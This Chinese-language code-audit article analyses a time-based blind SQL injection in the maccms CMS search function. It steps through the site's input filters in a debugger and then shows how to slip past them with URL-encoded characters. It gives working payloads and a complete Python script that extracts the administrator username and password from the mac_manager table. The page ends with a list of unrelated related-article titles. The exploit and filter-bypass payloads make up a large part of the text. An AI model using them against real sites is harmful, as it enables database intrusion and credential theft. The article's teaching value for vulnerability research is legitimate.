0x01 前言

已经有一周没发表文章了,一个朋友叫我研究maccms的代码审计,碰到这个注入的漏洞挺有趣的,就在此写一篇分析文。

0x02 环境

Web: phpstudy
System: Windows 10 X64
Browser: Firefox Quantum
Python version : 2.7
Tools: JetBrains PhpStorm 2018.1.6 x64、Seay代码审计工具

搭建这个程序也挺简单的,也是一步到位。

0x03 漏洞复现

  1. 首先在程序的后台添加一条数据
  2. 执行我们的payload,可以看到网站跳转延迟了3s以上。
    url:http://sb.com/index.php?m=vod-search
    post:wd=))||if((select%0bascii(length((select(m_name)\`\`from(mac_manager))))=53),(\`sleep\`(3)),0)#%25%35%63

  1. 因为是盲注所以注入出管理员的账号密码在下文分析。

0x04 SQL执行过程分析

  1. 先弄清楚sql是如何执行的一个过程,然后再去分析怎么会造成SQL注入的一个过程,这样对学习代码审计也是一个好处。
    因为是动态分析,不会的安装调试环境的请到这篇文章按步骤完成安装https://getpass.cn/2018/04/10/Breakpoint%20debugging%20with%20phpstorm+xdebug/
  2. phpstorm打开这个选项,意思就是断在当前脚本文件的第一行,我就不下断点了,跟着它执行的过程走一遍。
  3. 我们先随便输入一点数据

    访问后会断在index.php的第一行
  4. F8往下走,走到第14行F7跟进去。

    然后F8一直往下走,可以看到拦截的规则

    走到POST的过滤这里F7进去

    arr_foreach函数检查传过来的值是否是数组,不是数组就返回原数据,然后用urldecode函数URL解码。

    最后分别对传过来的wdtest两个值进行匹配,如果存在拦截规则里面的字符就跳转到错误信息。

    比如你输入wd=/**/就会被拦截

    因为/**/存在拦截的正则表达式里面。
  5. 走出来会到$m = be('get','m');这里,这里只是对m传过来的vod-search进行addslashes函数的过滤
  6. 我怕文章过长,一些不必要的代码自己去细读一遍就行了,F8一直往下周,走到37行F7进去,因为我们传过来的的参数是vod,所以会包含vod.php文件并执行。
  7. 因为我们传参是search所以会走到这里,我们可以F7进去看执行的过程。

    在这里会经过urldecode函数的解码,一直循环到不能解码为止,然后经过刚才的StopAttack方法的过滤

    最后到htmlEncode方法的替换
  8. 跳出到vod.php文件后F8走到这里,F7进去看SQL执行的过程。

    一直走到markname的值是vod

    然后不用管F8继续往下走,走到这里再F7进去

    可以看到SQL执行是到这里,下面是执行的语句
    SELECT count(*) FROM {pre}vod WHERE 1=1  AND d_hide=0 AND d_type>0  and d_type not in(0) and d_usergroup in(0)  AND ( instr(d_name,'test')>0 or instr(d_subname,'test')>0 or instr(d_starring,'test')>0 )

    0x05 漏洞分析

上面分析了SQL执行过程,下面分析这个是如何构成SQL注入的。

  1. 刚才这里跳过了,文件位置:inc/common/template.php,可以看到传过来的P["wd"]值赋值给了$lp['wd']
  2. 再往下看753~755行,可以看到我们的值是放在这里面,然后送去GetOne执行的。
    if (!empty($lp['wd'])){$where .= ' AND ( instr(d_name,\''.$lp['wd'].'\')>0 or instr(d_subname,\''.$lp['wd'].'\')>0 or instr(d_starring,\''.$lp['wd'].'\')>0 ) ';             }
  3. 构造的语句,只有中间才是执行的语句,前一句是为了闭合单引号,后面是注释。如果这里不清楚的可以用MySQL监控的软件去一步一步弄清楚。
    SELECT count(*) FROM mac_vod WHERE 1=1  AND d_hide=0 AND d_type>0  and d_type not in(0) and d_usergroup in(0)  AND ( instr(d_name,'))||if((select ascii(length((select(m_name) from(mac_manager))))=53),(`sleep`(3)),0)#\')>0 or instr(d_subname,')) ||if((select ascii(length((select(m_name) from(mac_manager))))=53),(`sleep`(3)),0) #\')>0 or instr(d_starring,'))||if((select ascii(length((select(m_name) from(mac_manager))))=53),(`sleep`(5)),0)#\')>0 )

  4. 但是如果直接放语句上去会被检测到危险字符

    它主要对我们这里的空格连接处匹配到了

    那么我们可以用别名as     ‘ ‘去代替,也可以省略as直接用   ‘ ‘,别名的用法在文章尾部的参考有给出。
  5. 我们再执行,用Seay的代码审计工具的Mysql监控软件查看,我们的空格和后面的\被转义了。

    还记得我们chkSql方法吗?先是执行urldecode解码,然后StopAttack匹配,最后htmlEncode编码,最后Be方法那里 还有一个addslashes函数过滤,所以会导致后面的\转义成\\htmlEncode又会对前面的空格转义成 

    function chkSql($s) { global $getfilter; if(empty($s)){     return ""; } $d=$s; while(true){     $s = urldecode($d);     if($s==$d){         break;     }     $d = $s; } StopAttack(1,$s,$getfilter); return htmlEncode($s); }

  6. 这里我们可以利用URL编码绕过htmlEncode,具体可以看HTML URL编码表%0c %0b等都可以,后面的\可以用URL编码绕过%5c或者双编码%25%35%63
  7. 那么我们构造成的payload就是下面的,功能是查询管理员账号字段的长度
    wd=))||if((select%0cascii(length((select(m_name)from(mac_manager))))=53),(sleep(3)),0)#%5c``

0x06 编写盲注脚本

当然盲注一般都不会手动去,SQLMAP有时候遇到特殊的也是要自己编写注入的脚本,具体代码的意思我就不解读了,自己可以结合Python和MySQL的知识理解。

#! /usr/bin/python
# -*- coding:utf-8 -*-
#author:F0rmat
import requests
import time dict = "1234567890qwertyuiopasdfghjklzxcvbnm_{}QWERTYUIOPASDFGHJKLZXCVBNM,@.?" UserName='' UserPass='' UserName_length=0 url='http://sb.com/' url = url + r'/index.php?m=vod-search' def main():     global UserName     global url     for i in range(30):         startTime = time.time()         sql = "))||if((select%0bascii(length((select(m_name)``from(mac_manager))))={}),(`sleep`(3)),0)#%25%35%63".format(             ord(str(i)))         data = {'wd': sql}         response = requests.post(url, data=data)  # 发送请求         if time.time() - startTime > 3:             UserName_length = i             print UserName_length             break     for num in range(1, UserName_length + 1):         for i in dict:  # 遍历取出字符             startTime = time.time()             sql = "))||if((select%0bascii(substr((select(m_name)``from(mac_manager)),{},1))={}),(`sleep`(3)),0)#%25%35%63".format(                 str(num), ord(i))             data = {'wd': sql}             response = requests.post(url, data=data)  # 发送请求             print data             if time.time() - startTime > 3:                 UserName += i                 break     global UserPass     for num in range(32):         for i in dict:  # 遍历取出字符             startTime = time.time()             sql = "))||if((select%0bascii(substr((select(m_password)``from(mac_manager)),{},1))={}),(`sleep`(3)),0)#%25%35%63".format(                 str(num), ord(i))             data = {'wd': sql}             response = requests.post(url, data=data)  # 发送请求             print data             if time.time() - startTime > 3:                 UserPass += i                 break     print 'username:'+UserName,'password:'+UserPass if __name__ == '__main__':     main()

0x07 总结

有时候学习代码审计,不能因为部分的代码没能读懂就不去理会,其实你读的代码越多,做代码审计也越轻松。

0x08 参考

程序下载:https://www.lanzous.com/i1qm24f
http://www.freebuf.com/column/161528.html
http://www.mysqltutorial.org/mysql-alias/
http://www.w3school.com.cn/tags/html_ref_urlencode.html
https://github.com/F0r3at/Python-Tools/blob/master/maccms_sql.py

大家有任何问题可以提问,更多文章可到i春秋论坛阅读哟~

转载于:https://www.cnblogs.com/ichunqiu/p/9548754.html

动态调试|Maccms SQL 注入分析(附注入盲注脚本)相关推荐

  1. android动态调试防止,Android应用防止so注入防止动态调试参考代码

    //非Debug 编译,反调试检测 if(!BuildConfig.DEBUG) { if(isDebuggable()) { exit(0); } Thread t = new Thread(new ...

  2. Android水面落叶动态壁纸源码及分析 附下载地址

    Android自带的水面落叶动态壁纸效果,尝试使用plasma等jni来实现,最终效果仍然不如renderScript实现的好,因为renderScript相关学习资料比较少,不再重头编写rs脚本来实 ...

  3. 【Android 逆向】Android 进程注入工具开发 ( 注入代码分析 | 注入工具收尾操作 | 关闭注入的动态库 | 恢复寄存器 | 脱离远程调试附着 )

    文章目录 一.dlclose 函数简介 二.关闭注入的 libbridge.so 动态库 三.恢复寄存器 四.脱离远程调试附着 一.dlclose 函数简介 dlclose 函数的作用是 卸载一个 指 ...

  4. recommend.php sql注入漏洞,Espcms通杀SQL注入漏洞分析(附EXP)

    漏洞:Espcms 通杀 SQL注入漏洞分析附EXP 漏洞作者:Seay博客:www.cnseay.com 官网介绍: 易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操 ...

  5. Espcms通杀SQL注入漏洞分析(附EXP)

    漏洞:Espcms 通杀 SQL注入漏洞分析附EXP 漏洞作者:Seay 博客:www.cnseay.com 官网介绍: 易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有 ...

  6. MP 启动注入 SQL 原理分析

    MP 启动注入 SQL 原理分析 文章目录 一.MybatisPlus需要sql语句吗? 解答:需要 1.1. 问题:为什么MybatisPlus看不到sql语句? 1.2. 分析:继承关系 1.3. ...

  7. 【Android 逆向】Android 进程注入工具开发 ( 注入代码分析 | 调试进程 ATTACH 附着目标进程 | 读取目标函数寄存器值并存档 )

    文章目录 一.调试进程 ATTACH 附着目标进程 二.读取目标函数寄存器值并存档 1.主要操作流程 2.ptrace 函数 PTRACE_GETREGS 读取寄存器值 一.调试进程 ATTACH 附 ...

  8. 第 3 章 MybatisPlus 注入 SQL 原理分析

    第 3 章 MybatisPlus 注入 SQL 原理分析 思考问题 我们编写的 UserMapper 继承了 BaseMapper<T>,就拥有了基本的增删改查功能,这是因为 BaseM ...

  9. 【Android 逆向】Android 进程注入工具开发 ( 注入代码分析 | 获取注入的 libbridge.so 动态库中的 load 函数地址 并 通过 远程调用 执行该函数 )

    文章目录 一.dlsym 函数简介 二.获取 目标进程 linker 中的 dlsym 函数地址 三.远程调用 目标进程 linker 中的 dlsym 函数 获取 注入的 libbridge.so ...

  10. 【Android 逆向】Android 进程注入工具开发 ( 注入代码分析 | 远程调用 目标进程中 libc.so 动态库中的 mmap 函数 三 | 等待远程函数执行完毕 | 寄存器获取返回值 )

    文章目录 前言 一.等待远程进程 mmap 函数执行完毕 二.从寄存器中获取进程返回值 三.博客资源 前言 前置博客 : [Android 逆向]Android 进程注入工具开发 ( 注入代码分析 | ...

最新文章

  1. 卧槽!什么神仙行业月入10万,人才缺口30万?
  2. swift_005(Swift的Dictionary 字典)
  3. cmake 编译选项 add_compile_options CMAKE_CXX_FLAGS 区别
  4. 带你了解DDoS攻击的原理,让你轻松学会DDoS攻击原理及防护措施
  5. 利用串行化实现ArrayList深拷贝
  6. 《随机过程》布朗运动理论中的两个反常问题
  7. vue动画transition(笔记)
  8. 【python基础知识】Tkinter基础
  9. .Net 1.1 到 .Net 2.0 开发日志
  10. Hyperledger Fabric教程(3)-- byfn.sh分析-生成通道所需交易和文件
  11. pic单片机c语言配置,PIC单片机配置字说明及使用
  12. 新中大怎么修改服务器,新中大如何修改服务器地址
  13. 【重要更新】TX Text Control ActiveX X16发布 | 附下载
  14. java微信开发之--更换背景图片
  15. Store generated project files externally
  16. mysql建表是要注意什么问题_MySQL建表注意事项
  17. 判断全角与半角及两者之间的转换
  18. ubuntu18.04-ros-melodic-carlar安装教程详细指南
  19. MPEG音频编码 基本原理和C语言代码分析
  20. ubuntu设置时间为utc标准时间

热门文章

  1. xsmax无法进入dfu模式_iPhoneXSMax怎么强制重启-如何进入DFU模式
  2. 计算机水平居中怎么做,word标题居中怎么设置
  3. DeepFaceLab:A simple,flexible and extensible face swapping framework(2020)
  4. DeepFace人脸检测(python实现)
  5. APP自动化测试-3. Appium元素定位与等待
  6. qt html转pdf 怎么取消页码,更改或删除QPrintPreviewWidg中的页码
  7. Python 爬虫:专利信息
  8. IDEA更改主题颜色
  9. B 站视频下载器(BV号、dash、音视频分离)
  10. 机器学习中最常使用的10种数据编码方式